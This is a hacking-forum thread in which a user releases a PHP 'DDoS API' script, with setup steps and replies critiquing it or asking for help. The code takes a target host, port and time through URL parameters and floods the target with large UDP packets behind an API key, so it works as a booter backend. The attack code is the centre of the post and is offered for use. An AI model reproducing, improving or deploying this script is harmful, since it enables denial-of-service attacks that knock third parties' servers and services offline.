Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

DDOS API Script | DDOS Script Built In to PHP File

My last DDoS API I released was very messy, sloppy, and have duplicated code in it. I have made this DDoS API much simpler, as the UDP Attack script is built into the script itself, so there is no need for extra packages. If you need help with anything, feel free to contact me.

Tutorial:
1. Upload to server web folder. Usually (/var/www/html)
2. Edit the api.php file, and change the API to your desired key.
3. Open the PHP file in your web-browser and enjoy!

Code
<?php #$_GET Requests
$apikey    = $_GET['apikey'];
$host      = $_GET['host'];
$port      = $_GET['port'];
$exec_time = $_GET['time'];
$method    = $_GET['method'];

#DDoS Info
$max_boot_time      = "3601"; #Change to desired max boot time, then +1. Example: 5000, make it 5001. ** DO NOT ADD QUOTATION MARKS(,) **
$max_boot_time_show = "3,600 seconds."; #Change this to the desired max boot time you already picked above. Do not remove (seconds.).
$key            = "123"; #Change this with your desired login key.
$time             = time();
$max_time      = $time + $exec_time;
$packets      = 0;

#Script Settings
set_time_limit(0);
ignore_user_abort(FALSE);

#API Verification
if ($apikey == null) {
    ob_end_clean();
    echo 'Enter your API Key.';
} else {
}

#Main
if ($apikey == $key) {
    if ($host == null) {
      echo "Invalid Format: Enter a host.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
    } else {
      if ($port == null) {
      echo "Invalid Format: Enter a port.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
      } else {
      if ($time == null) {
            echo "Invalid Format: Enter boot time.</br>Format:?api=123&host=127.0.0.1&port=80&time=10";
      } else {
            if ($exec_time >= $max_boot_time) {
            echo 'Your max boot time is ' . $max_boot_time_show . '';
            } else {
            for ($i = 0; $i < 65535; $i++) {
            $out .= "X";
            }
            while (1) {
            $packets++;
            if (time() > $max_time) {
            break;
            }

            $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
            if ($fp) {
            fwrite($fp, $out);
            fclose($fp);
            }
            }
            echo '[UDP FLOOD]: Attack has been sent to ' . $host . ' for ' . $exec_time . ' second(s).';
            }
      }
      }
    }
} else {
    echo 'Invalid API Key';
}
?>

selinux version.
Spoiler (Click to View)
(Jan 29, 2015 11:56 PM)Flacko. Wrote:  My last DDoS API I released was very messy, sloppy, and have duplicated code in it. I have made this DDoS API much simpler, as the UDP Attack script is built into the script itself, so there is no need for extra packages. If you need help with anything, feel free to contact me.

Tutorial:
1. Upload to server web folder. Usually (/var/www/html)
2. Edit the api.php file, and change the API to your desired key.
3. Open the PHP file in your web-browser and enjoy!

Ew: http://www.minesql.me/paste/B18 (Edit fixed a typo)

At least use functions or SOMETHING. You did some weird shit with time. That UDP 'flood' won't do shit all, your basically pinging the IP...
(Jan 30, 2015 12:42 AM)MineSQL Wrote:  Ew: http://www.minesql.me/paste/B18 (Edit fixed a typo)

At least use functions or SOMETHING. You did some weird shit with time. That UDP 'flood' won't do shit all, your basically pinging the IP...

Thank you both for this!
You really helped me out with this and im not even kidding🤝
(Jan 18, 2015 12:42 AM)RankBooster Wrote:  
You'll never be the man your mother was
https://hackforums.net/showthread.php?tid=3651198
the script not working or idk how to setit up can someone help me ? Any video tutorial!
A ddos script written in php isnt really useful because php's performance isnt really good.
Better use a c/c++ script.
This is making me cringe real bad.
Oh my god. This is horrible.
(May 31, 2015 05:21 AM)DAVEologist Wrote:  Oh my god. This is horrible.

Well, why you all don't appreciate that user wanted to share that with us instead of criticizing his work?
(May 31, 2015 05:21 AM)DAVEologist Wrote:  Oh my god. This is horrible.

(May 30, 2015 06:08 AM)c x y k Wrote:  This is making me cringe real bad.

Instead of insulting his work why don't you actual contribute to it?
Do you use GitHub? The code needs a bit of repairing, I'll help out and contribute with bug fixes and improvements.
I can help too if it's needed
(May 30, 2015 06:05 AM)Remix Wrote:  A ddos script written in php isnt really useful because php's performance isnt really good.
Better use a c/c++ script.

dos*

the reason why you shouldn't use dos scripts in PHP is not due to performance at all, where the fuck have you got that from? the reason why PHP is not normally used is because of it's quite high up in the network stack.
This is dont work man ...
Please start to use functions & switches.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[PHP] by BulgarianFeb 21, 2020 12:33 AM 5 374 Feb 21, 2020 12:33 AM
Last Post: Backbone
[PHP] by JUSTINMay 13, 2019 03:25 AM 6 321 May 13, 2019 03:25 AM
Last Post: BTC
[PHP] by Account of the GodsMar 25, 2018 03:09 PM 12 473 Mar 25, 2018 03:09 PM
Last Post: SIM-2223238